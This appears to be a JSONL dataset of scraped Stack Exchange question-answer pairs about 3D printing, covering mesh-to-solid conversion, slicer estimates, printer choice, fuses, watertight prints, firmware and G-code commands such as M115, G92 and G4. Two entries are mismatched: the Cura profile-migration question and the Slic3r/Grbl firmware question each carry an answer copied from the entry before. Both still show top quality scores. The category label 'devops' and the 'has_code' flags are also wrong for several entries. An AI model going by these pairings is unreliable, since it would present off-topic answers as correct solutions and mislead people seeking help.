{"id": "hf_98123b5fec80", "question": "<p>I have a mesh of a bowl that has the perfect shape of half a sphere. I want to easily convert it to the containing sphere solid and a box solid that will be subtracted from it.</p>\n\n<p><a href=\"https://i.stack.imgur.com/FlT0X.png\" rel=\"nofollow noreferrer\" title=\"Conversion process\"><img src=\"https://i.stack.imgur.com/FlT0X.png\" alt=\"Conversion process\" title=\"Conversion process\"></a></p>\n\n<p>Googling mesh to solid shows that in various tools such as 3ds Max, Fusion, etc., manual approximation of where the sphere might go is created manually by visually comparing to the mesh or the cross section when creating the solid but I am looking for the minimum enclosing sphere and box to be generated/calculated by the software.</p>\n\n<p>Source file format is of course not an issue, it can be any known mesh file.</p>\n", "question_body": "", "answer": "The calculations for your objective could be considered simple geometry, although the results in terms of formulae are a bit more complex than simple, but not by much.\nAccording to\nQuora\n, the foundation for this goal is that the cube's eight vertices will be coincidental to the sphere's surface. If one desires to print a 3D object with this form, such an object may fail the requirement of being manifold, but may not, depending on the floating point operations of the software being used.\nI found a simplistic formula which provides the radius of the sphere given the length of the side of the cube.\n```\n```\n$fn = 90;\nedge = 10;\ncube([edge, edge, edge], center = true);\nsphere_radius = sqrt((3 * pow((edge/2), 2)));\nsphere(sphere_radius);\n```\n```\nThe above code is done in\nOpenSCAD\n, resulting in this image with the sphere made transparent for clarity:\nTranslated into general English, it appears that one can take the edge length, divided by 2, then take the square of that result and triple it. Take the square root of that value and it becomes the radius of the sphere.\nThe above answer is courtesy of\nMath Forum\nand is represented verbatim as such:\n```\n```\n____________________________\n  D = \\| (L/2)^2 + (L/2)^2 + (L/2)^2\n```\n```\nThe letter D in this case appears to be slightly misrepresented as diameter when it should be referred to as radius.\nAs part of this fun exercise, I also subtracted the cube from the sphere, slicing it in half for visibility, resulting in this image:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.932132"}
{"id": "hf_8e89b8c6c01a", "question": "<p>I am curious about the algorithm/principles behind the estimates that the slicing softwares provide. Is there a standard technique behind this and how accurate is it ?</p>\n", "question_body": "", "answer": "Generally speaking, the typical algorithm takes into account the slicer's speed settings for specific features of the build, such as infill, perimeters, top/bottom layers, etc. The distance traveled by the nozzle at a specific speed for each feature is also part of the equations involved. There are some rather vague portions of the nozzle movement based on acceleration and other factors which makes the calculations less accurate.\nHow accurate is it?\nNot too accurate. My experience with three different slicers is that it's never been within better than ten percent. I believe the various combinations of features of a build are not going to be identical from one model to the next, preventing even a ballpark figure to be created from previous builds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.956654"}
{"id": "hf_4a27d0e8cb9f", "question": "<p>On my Mac I've got two versions of Cura installed, in <code>/Applications/Cura250</code> and <code>/Applications/Cura262</code>.</p>\n\n<p>How can I copy my printer and profile settings from Cura 2.5 to Cura 2.6?</p>\n", "question_body": "", "answer": "Generally speaking, the typical algorithm takes into account the slicer's speed settings for specific features of the build, such as infill, perimeters, top/bottom layers, etc. The distance traveled by the nozzle at a specific speed for each feature is also part of the equations involved. There are some rather vague portions of the nozzle movement based on acceleration and other factors which makes the calculations less accurate.\nHow accurate is it?\nNot too accurate. My experience with three different slicers is that it's never been within better than ten percent. I believe the various combinations of features of a build are not going to be identical from one model to the next, preventing even a ballpark figure to be created from previous builds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.980675"}
{"id": "hf_824db334b957", "question": "<p>Carbon 3d made a 100x faster printer which has a simple and cheap mechanism using a Teflon layer. It appears to have a 20mn in RnD Costs and $7000 mass market production cost.</p>\n\n<p>The only access method for one is a USD$ 161,250 yearly subscription.</p>\n\n<p>Their printer is not available in shapeways... Is there something wrong with  Carbon 3D so that it does not view consumers as a direct market, and has no market news on it's website?</p>\n\n<p>How can they spend 222 million in investment money and not have a 3d printer in shapeways or public access? </p>\n", "question_body": "", "answer": "I will take the question seriously, and consider reasons why Carbon 3D might choose to offer their technology through a yearly subscription, rather than building a product accessible to the consumer market.  These reasons are speculation and do not reflect any specific knowledge about Carbon 3D, the details of their technology, or anything unique about their corporate mission.\n1) The mission of a company, especially in the beginning while competition makes it possible, to make as much money as possible.  If the technology is unique and brings good value to a large enough set of interested customers, it can easily consume the full attention of a company to service those customers.  The price those companies pay for access may be higher than others would pay because their derived value is higher.\n2) If a technology is new, and perhaps still somewhat immature, there may be very high support efforts and cost required.  Through this time, the learning curve does it's job, the technology improves and matures, and the costs go down.\n3) If the technology is immature, and perhaps is evolving quickly, it could be to the advantage of a supplier to only offer the technology on a service rather than capital acquisition basis.  It simplifies replacing components.\n4) If the technology is immature, selling the service may be easier than selling the hardware.  It simplifies the acquisition process, and makes it easier for customer's to expand their usage since the supplier's capital is used to finance the machines instead of the customer's.\n5) Even with a mature, proven technology, it can be advantageous to maintain a higher price point.  The game is optimizing the profit on volume times price.  The point they operate at is influenced by their perception of the market.\n6) In the early adopter phase, it is critical that the customer experience be stellar.  They may be limited in how rapidly they can scale in some critical dimension -- consumables supply chain, manufacturing capacity, trained installation technicians, local service offices, or many other limits.  Anything going wrong makes for a bad customer experience.\nIt doesn't surprise me that they aren't going after the consumer market at this time.\nBut, I'm not in the CEO's office, and I don't see where his pain comes from.  My purpose here is only to propose some plausible reasons why the company has not launched a consumer facing product.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.016129"}
{"id": "hf_07a88459856f", "question": "<p>I was looking for some advice on which 3D printers are good for someone who is just getting into 3D printing?</p>\n\n<p>I have been looking at the Anet A8 on ebay but not sure if they are any good or not.</p>\n\n<p>Regards</p>\n", "question_body": "", "answer": "A budget would make answering your question alot easier. Do you have any experience with cad/cam software? What are you wanting to do with it? There are many inexpensive 3d printers but your skill level in mechanics/machinery, electronics, programming etc will also help others choose a good option for you. For example, plug and play units are usually more expensive than build your own models. But if you don't have the skill to assemble it the savings wasn't worth it", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.052220"}
{"id": "hf_f265a4268390", "question": "<p>I'm interested in printing small machine parts (gears, linkages, structural components) so I'm looking for accuracy and mechanical strength over speed and volume.</p>\n\n<p>I'm also somewhat concerned about harmful emissions so would like a solution with some sort of filtration, whether it's built into the machine or something added. I'm thinking I will run the machine in an unventilated garage, which is quite warm and humid during the summer in Texas.</p>\n\n<p>My price range is \\$1500-\\$2000 USD. I've looked at several options but I didn't really come across any scenarios like I've described and would like some advice from the experts before committing.</p>\n\n<p>Anyone in a similar boat have any suggestions?</p>\n", "question_body": "", "answer": "Your environmental conditions will preclude finding a machine suitable for your purposes in the budget specified.\nHumidity is a problem with many material types, especially nylon, but also with PLA and ABS, the more common filaments used in 3D printing.\nYou can likely reject PLA for your mechanical needs, as it is brittle and weak compared to ABS. PLA releases virtually no gases of concern, while some find ABS fumes to be offensive and dangerous.\nThe humidity issue is forefront in your search. You may have to construct within the garage a chamber in which you would operate a portable or window air conditioner unit, to keep the humidity in check. If you can assign a different budget to such a construction, that will leave your printer funding intact and better able to address your goal.\nSelective Laser Sintering using nylon powder, also susceptible to humidity, which is sintered by a laser, hence the name, making very detailed and strong parts. The process is also self-supporting, allowing for fairly intricate parts. Once the machine is calibrated, the part accuracy can be quite good. Unfortunately, SLS machines are also out of the budget range you've noted.\nYou can use an external service to print the parts you design, at least at first, to get a better indication of how the various materials will work for you. Start with PLA, then move to ABS for a set of test parts, and even perhaps have some printed using SLS.\nIf you find, for example, that ABS will be strong enough, you might find an affordable 3D printer which will generate parts on your budget and timeline. For printing ABS, the warmer temperatures are to your advantage, but the humidity has to be properly addressed in any home/shop/garage installation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.123351"}
{"id": "hf_82b35d4884ad", "question": "<p>My printer stopped printing during a few prints, and i found that the extruder had stopped heating, and the motors had stopped running. I checked the code, and nothing was wrong. My 5A fuse though, was extremely hot. I wanted to verify whether it was my fuse that had turned bad or there was some kind of short in my circuitry. \nWith the power switched on, none of my appliances drew any current. However, the RAMPS board drew about 0.16 amps. \nIs that normal? \nIf that is normal, does it mean that my fuse needs replacement? Because none of my loads seemed to draw unnecessary current.\nThanks in advance.</p>\n", "question_body": "", "answer": "As @Mikhail Z commented, it does sound like the fuse may be bad.\nThe first thing to do is put an ohmmeter across the fuse (with power off!) -- if you get high resistance the fuse is definitely bad. However, if you get low resistance that does not prove the fuse is good -- see @Tom's comments below re. polyfuses in particular, and how to disconnect from the rest of the circuit.\nIf you don't get lucky testing a fuse in-line, remove it and put the ohmmeter on it in isolation. Whether good or bad, it's good to put in a fuse-holder or socket, so you never have to de-solder the fuse again.\nSome boards use auto-resetting fuses or circuit breakers, which might have more complicated ways of failing (you can always replace the part to be sure). I personally avoid auto-resetting for anything that supplies heaters; if there's a problem I want to intervene rather than letting it try again endlessly.\nSince the heaters and the motors are both down, it's a good bet it's the fuse or something very early (that is, \"near\" the power supply). If it were a single motor or single heater, then the output control (typically a solid-state relay, or perhaps the logic controlling it) would be a better bet. Though unlikely, it's possible for two or more such controls to fail at once, so don't rule that out\ncompletely\n.\nLet us know what you discover.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.158862"}
{"id": "hf_4b702a03a8a1", "question": "<p>I made a tea bowl, but it leaked when making it in PLA...</p>\n\n<p>What are the key points to keep in mind when designing and printing an object that is intended to hold water using an FDM printer? </p>\n", "question_body": "", "answer": "When designing the object, you should make sure your object is completely enclosed (obviously). When printing, try increasing the print temperature so that the layers stick to each other well. The most important thing is the print temperature, because if the layers don't adhere to each other well, you will get a leak. The wall thickness of the object can be thin, as long as it isn't so thin that it has too little strength to hold anything.\nSome tips:\nPrinting in vase mode can save loads of time, otherwise the printer wastes time doing each layer separately.\nYour nozzle should be 0.4 mm and up, otherwise the print will take forever.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.182181"}
{"id": "hf_852af0a2ffb3", "question": "<p>I have a generic printer with no support documentation. </p>\n\n<p>How do I determine what firmware is in use so that I can research how to make the print run?</p>\n", "question_body": "", "answer": "Send\n```\nM115\n```\nto the printer. This command is\nRequest the Firmware Version and Capabilities of the current microcontroller.\nResponse example:\nok PROTOCOL_VERSION:0.1 FIRMWARE_NAME:FiveD FIRMWARE_URL:http%3A//reprap.org MACHINE_TYPE:Mendel EXTRUDER_COUNT:1\nFor more info see here,\nRepRapWiki- G-code - M115: Get Firmware Version and Capabilities\n.\nOf course, this isn't guaranteed to tell the truth, just whatever your generic clone firmware had in its source code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.217779"}
{"id": "hf_7f8f977edeec", "question": "<p>I'm getting this printing where it's not laying the plastic down very well. What could be causing this? I've printed with these settings before, and it turned out just fine. If you need any other info to properly diagnose this, let me know.</p>\n\n<p>I'm using a Robo3D R1+</p>\n\n<p>[<img src=\"https://i.stack.imgur.com/cT7dV.jpg\" alt=\"Bad Print[1]\"></p>\n", "question_body": "", "answer": "I´ve seen this in my Prusa due two parameters that may vary your results depending on climate if your printer has not a temperature chamber or having a mechanical issue too.\nLack of extrusion is due a cold filament which it can't reach the melting temperature due a fast extrusion feed; I mean in normal conditions we can print @70 mm/s with 195 °C but on wet or colder days is not possible so I need to slow down the speed (feed rate) with 10 % less than normal to get @60 mm/s or less until get a good flow with out modifying the G-code. If I try to print faster on normal conditions I will get the same lack of material due 195 °C is a low temperature (this is an example).\nIf I set the temperature 200 °C or 210 °C I will get a better flow and also print faster than @80 mm/s (not affected too much on climate on 100 % feed rate).\nFor first layer I´m using an speed of 40 mm/s to allow a good adhesion and Z height 90 % of layer height (0.22 typically or 0.18).\nMechanical side: The extruder is not feeding all the filament due a missing pression on the traction gear (filament slip).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.247728"}
{"id": "hf_b0d1ca2faf42", "question": "<p>I have make a little test with 4 dots aligned with A tower, B and C tower. Distance W and S are the same in the stl but not in the print. I have tried diferent values of diagonal root but S always is smaller than W, and all S are equal (more or less 38.20mm) and all W are equal (more or less 40.80). I expect that W and S will be 40mm. How can fix this problem?</p>\n\n<p><a href=\"https://i.stack.imgur.com/hkUAj.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/hkUAj.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Update:</strong></p>\n\n<p>Here is the stl I use: <a href=\"https://www.dropbox.com/s/2vwjbo387cmk5qa/DeltaCalibration%20v15.stl?dl=0\" rel=\"noreferrer\">https://www.dropbox.com/s/2vwjbo387cmk5qa/DeltaCalibration%20v15.stl?dl=0</a></p>\n\n<p><strong>Update:</strong>\nI have replaced the steper motor in tower B but same result.</p>\n", "question_body": "", "answer": "Well, you have two main issues:\n1.-\nYour calculation for stepping is a little wrong, for example your firmware indicates 2315.84 when you need 2321.70 (REMEMBER this is an example and is not accurate), So you will see a diference about 2.0mm along your printing. If your printing is bigger more diference you will get.\n2.-\nMisalignment, your printer is not angled correctly to 90° and also Z axe if has the same condition. with this uncalibrated parameter are you going to have pisa towers on every tall part. \nFor delta Printers this not apply\n3.-\nTension. Your belts are a little weak; avoid weak tension band to eliminate something called backslash, of course this is for screw parts but is the same efect and even bigger. Also you will get an accurate dimension of the parts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.341666"}
{"id": "hf_ebb627f677df", "question": "<p>I have a <a href=\"https://www.alunar.net/m508-self-assembly-3d-printer.html\" rel=\"nofollow noreferrer\">Alunar M508 machine</a> that I am trying to get new firmware on. The firmware that was loaded on the machine wasn't very good. The x axis was mirrored and the home point was way off. I was looking into Marlin to put on the machine, but don't have any experience on what to edit in the code to make it work for this machine. </p>\n\n<p>Does anyone have any experience with this machine? Uploading new firmware that works or editing the code to make it work for this machine. I appreciate any help!</p>\n\n<p>Here is a link to <a href=\"https://github.com/camalot/alunar-prusa-i3-marlin-i3-firmware\" rel=\"nofollow noreferrer\">the firmware I am currently using</a>. I'm on MacOS Sierra 10.12.5 using the 1.6.8 Arduino IDE.</p>\n", "question_body": "", "answer": "disclaimer\n: I am the maintainer of the firmware that\nyou linked\n.\nThe firmware will not improve your print quality. well, it may to some extent, but for the most part, it wont.\nThere is fine tuning involved that may be set for MY printer, but the values may need to be changed for you. Not to mention the physical tuning that I have done with my printer. Software is not the place to initially look for print quality improvements.\nSome examples:\nI printed anti-wobble caps for the Z-axis rods. Which improved the print drastically for me. As the print got higher, the quality got worse.\nI printed Z-stop improvements, so I could fine tune the Z-stop.\nI printed X & Y belt tensioners. Loose belts cause skipped steps which causes poor quality prints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.389808"}
{"id": "hf_32b3024e7677", "question": "<p>Is there anything special for printing TPU material e.g extruder or temperature?</p>\n\n<p>It's my first time printing TPU material, so if you have any photos, it would be great if you can share them.</p>\n", "question_body": "", "answer": "Elastomers do much better on direct-drive heads (pulled to the head by the motor) than on Bowden designs (where the material is pushed to the head by a motor). This is because the flexible TPU or TPE can bend in the guide tube, causing lag during advance/retract changes, and sometimes even bind up during delivery.\nLook for equipment which explicitly states that it is compatible with, and designed for, flexible filaments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.413611"}
{"id": "hf_9309e4bba674", "question": "<p>I am new to Fusion 360 and I think I'm going straight to something complicated. Is there a way to make a nose cone for a model rocket? What tools would one you to accomplish this?</p>\n", "question_body": "", "answer": "If you have a specific shape in mind and can create a sketch to represent that shape, you are halfway to your goal.\nThe concept is simple. Create a single line sketch that would represent the desired curve, starting from, in this example, the nose of the cone and traveling to the base. Create only one-half of the nose cone curve and maintain a \"standard\" axis reference, say, using the Y-axis as the rotation point.\nThe process is called\nrevolve. Fusion 360\nsupports this action directly.\n```\n```\nIn the Sculpt workspace, choose Create Revolve.\nSelect the profile to revolve.\nIn the Revolve dialog:\n    Click Axis and then select the axis to revolve around.\n    Choose Full or Angle to specify whether the revolution is full or to a specific angle.\n    For Direction choose One Side, Two Side or Symmetrical.\n    For Symmetry, choose None or Circular.\n```\n```\nThe above text is taken directly from the link. The specific web site also includes a Flash video of the steps involved.\nIf thickness is required for your creation, consider to draw the sketch from the nose to the base, then use Offset or hand sketch in a parallel line that returns to the nose. Ensure the base segment is joined and that the nose segments are open and are aligned to the Y-axis.\nAs the sketch is revolved, the nose sections will \"close\" while the base creates the closure necessary to make a solid that is hollow within and open at the bottom.\nUse The Google or your preferred search engine with the terms \"Fusion 360 Revolve\" to find many tutorials and videos with the same information presented in various ways.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.484139"}
{"id": "hf_6d477bdd0bcf", "question": "<p>I'm having a Prusa i3 derivative printer with a capacitive sensor for the z-axis. It switches a tiny bit before the nozzle hits the print bed and hence needs a z-offset to be configured.</p>\n\n<p>In Slic3r I have configured the z-offset to <code>-0.1</code> on the <em>General</em> page of the <em>Printer Settings</em>, but currently I'm evaluating Cura and can't find such a setting. Slic3r seems to apply this setting directly to the generated z-values in the g-code, so it does not use a short version at the beginning of the g-code. My current (except of the auto-bed-leveling part default) g-code:</p>\n\n<pre><code>G28 ;Home\nG29 ; auto-bed-leveling\nG1 Z15.0 F6000 ;Move the platform down 15mm\nG92 E0\nG1 F200 E3\nG92 E0\n</code></pre>\n\n<p>Is there a way to configure Cura, e.g. using the <em>Start Gcode</em> options, to apply the z-offset?</p>\n", "question_body": "", "answer": "You can trick the printer into applying an offset using the\n```\nG92\n```\ncommand:\n```\n```\nG0 Z0\n\nG92 Z0.1\n```\n```\nFirst, we move the nozzle to\n```\nZ=0\n```\n. Next, through the\n```\nG92\n```\ncommand, we tell the printer to, from now on, treat the current position as\n```\nZ=0.1\n```\n. This effectively applies an offset of\n```\n-0.1\n```\nto the Z-axis, since if we now executed\n```\nG0 Z0\n```\nagain, the nozzle would move down\n```\n0.1mm\n```\n.\nNote that this needs to be done after homing and leveling to be effective.\nOf course, you don't necessarily need to move the nozzle to\n```\nZ=0\n```\nfor this to work. You could also just insert\n```\nG92 Z15.1\n```\nafter\n```\nG0 Z15\n```\nto get the same effect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.554870"}
{"id": "hf_64aebffbf4c8", "question": "<p>I want to draw kossel delta corner in fusion 360 for 2040 aluminium extrusion like on picture below, but cant find a way to actualy start, I draw 3 side polygon and 20x40mm rectangle but cant go from there, so do you have any suggestion?</p>\n\n<p><a href=\"https://i.stack.imgur.com/hxAR4.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hxAR4.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "I attempted to create your drawing but discovered that an important set of parameters is missing. You have to have either the intersection point of the legs (73.34) from each side or the angle between the legs (73.34) and the base (106.41) to create construction lines. Once you have either of those items, you can construct the remainder of the design using offsets, radii, etc.\nMore accurately, one other missing item that would be required to complete this design is the placement of the holes at the top (12) relative to some other feature of the design.\nHaving taken on the challenge of your drawing, I've found that it is necessary to surrender. The angles or the intersection point are critical and without them, no solution comes to my alleged mind.\nI have also discovered one additional datum missing. The distance of the bottom truss and the thickness of this truss would be required to provide a more certain solution.\nOne the flip side, I've found\nalpha-tech3d.com\nwhich appears to include similar parts, rotated 180° with what appears to have all of the necessary data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.579383"}
{"id": "hf_6a933ec7f9c1", "question": "<p>I recently switched to a RAMPS 1.4 on an Arduino Mega 2560.\nEver since I have extruder temperature swings a couple of minutes into the print, but it looks like a problem reading the temp rather than actual fluctuations in the temperature (as can be seen in the attached pic).\nAlso, I've noticed that the MOSFET is getting really hot when I heat the heated bed.</p>\n\n<p>What is the problem and how can I fix it?</p>\n\n<p><a href=\"https://i.stack.imgur.com/QETof.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QETof.png\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "For the really hot mosfet I would say it might be a good idea to get one of those external mosfet module boards. It just seems like a good idea to me, to not have the huge current of the bed-heater flowing through the ramps board. And for the thermistor wires, do you have them twisted together? If not, try tightly twisting the pair (of + & -) together to ensure there is no interference from other signals. Careful not to put stress on where the wires are attached to the actual thermistor-head. Honestly, all of your wiring should be in twisted-pair configuration.\nhttps://en.m.wikipedia.org/wiki/Twisted_pair", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.641976"}
{"id": "hf_02527cbfe42e", "question": "<p>So I've seen some very good design software, but almost all of it is very expensive. I'm just wondering if there's a good cheap design software out there.</p>\n", "question_body": "", "answer": "Try Fusion 360. It's free for educators, students, enthusiasts and start-ups. It's not 100% intuitive, but once you learn the basics, it probably has all the facilities that you will ever need for mechanical design.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.669949"}
{"id": "hf_c20b1494c29e", "question": "<p>How can I center a model at the middle of the printing area of the printer when creating a g-code with CuraEngine. </p>\n\n<p>Are there any parameters I can add to <code>ultimaker2.def.json</code> to achieve this?\nThanks.</p>\n", "question_body": "", "answer": "If this is over the commandline tool \"CuraEngine\", then you will have to read the sourcecode. According to the\nAuthor\n, 'Nope. Only documentation there is in the code, readme and my head.' (cringe!).\nIf you're talking of the GUI program, then right click and click \"Center\". But this requires GUI usage. Not so nice if you want to automate using curaengine as your slicer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.693559"}
{"id": "hf_72c2b89a41a5", "question": "<p>So I started using Cura a few weeks ago, and when I print it goes to 204 Celsius instead of 200. It doesn't really affect my print quality but I just want to know if there's a fix for it. My printer is a Da Vinci Jr 1.0.</p>\n", "question_body": "", "answer": "That's called PID overshoot. All control loops have varying types of outliers like this. Sometimes, you can't overshoot, sometimes you cant undershoot. But it's a remnant of the math.\nThe solution here, is to\nPID Tune\n. Once you get an established Kp Ki and Kd constants, then you can either save it to eeprom or you can recompile your firmware with this change.\nIt's pretty common, especially if you have different hotends without known profiles. PID tuning also works on heated beds as well. But usually those use what's called\nBang-bang\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.717919"}
{"id": "hf_7bd65f806da3", "question": "<p>I am re-writing this question because, well, it needs to be updated.</p>\n\n<p>I have the Anet A6, but in a general sense of things, what kind of threads can I produce before it no longer works? </p>\n", "question_body": "", "answer": "This depends on the nozzle diameter, the layer thickness, and the material.\nI've made very good M8 and acceptable M6 threads (nut and bolt) at 0.2mm layers with a 0.5mm nozzle, out of ABS, and also out of PETG.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.745641"}
{"id": "hf_39e3b647840b", "question": "<p>Is there any software/methods to automatically splice objects into multiple pieces sort of like a jig saw puzzle so that I can combine them together and bypass the build plate size limit?</p>\n\n<p>As an example I have this 2D image that I want to print out but my printers size limit is roughly the size of the blue \"squares.\" It's pretty tedious and time consuming to do this manually. Also, any tips on getting seamless lines or proper alignment when gluing these pieces together are appreciated.\n<a href=\"https://i.stack.imgur.com/uw7Kg.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/uw7Kg.png\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "From what I understand, you're trying to partition your object into smaller pieces with the hopes of putting them back together in a manner similar to a Jigsaw puzzle.\nThere are two options that I know of to do this, which requires using OpenSCAD:\nThe\nPuzzleCut\nlibrary - This allows you to disassemble your object into a multiple pieces that can be assembled together in a jigsaw puzzle type manner\nThe\nPinCut\nlibrary - This allows you to disassemble your objects into multiple pieces that than be reassembled using the pins and corresponding holes on the pieces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.794823"}
{"id": "hf_51f92e71033b", "question": "<p>I have a 3D printer that I built using CD-ROM drives. It's all set and ready to go but when I generate <code>.stl</code> or <code>.obj</code> files my G-code sender program cannot load it. I have found that Slic3r will export the <code>.stl</code> into G-code but it has the option of changing the <em>G-code flavour</em>, or <em>firmware</em>. </p>\n\n<p>My machine is running from an Arduino Uno with Grbl v0.8. </p>\n\n<p>So the question is, which firmware setting would be appropriate for my machine that would require the least amount of editing before I can print?</p>\n", "question_body": "", "answer": "From what I understand, you're trying to partition your object into smaller pieces with the hopes of putting them back together in a manner similar to a Jigsaw puzzle.\nThere are two options that I know of to do this, which requires using OpenSCAD:\nThe\nPuzzleCut\nlibrary - This allows you to disassemble your object into a multiple pieces that can be assembled together in a jigsaw puzzle type manner\nThe\nPinCut\nlibrary - This allows you to disassemble your objects into multiple pieces that than be reassembled using the pins and corresponding holes on the pieces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.818860"}
{"id": "hf_71199746140d", "question": "<p>I am writing some G-code for my DIY 3D printer. From what I understand, <code>G4</code> is dwell and its expressed in milliseconds. So my extruder takes about 30 seconds to heat up. Do I just type </p>\n\n<pre><code>G04 30000\n</code></pre>\n", "question_body": "", "answer": "You are correct about needing to specify the dwell value in milliseconds. However, the RepRap Wiki indicates that you need to use the\n```\nPn\n```\nargument, and not just an unadorned number as the argument to the command. To adapt the Wiki's own example, you will need to use:\n```\n```\nG4 P30000\n```\n```\nThis should cause the firmware to dwell (pause) for 30 seconds.\nRepRap Wiki: G4: Dwell", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:53.854884"}
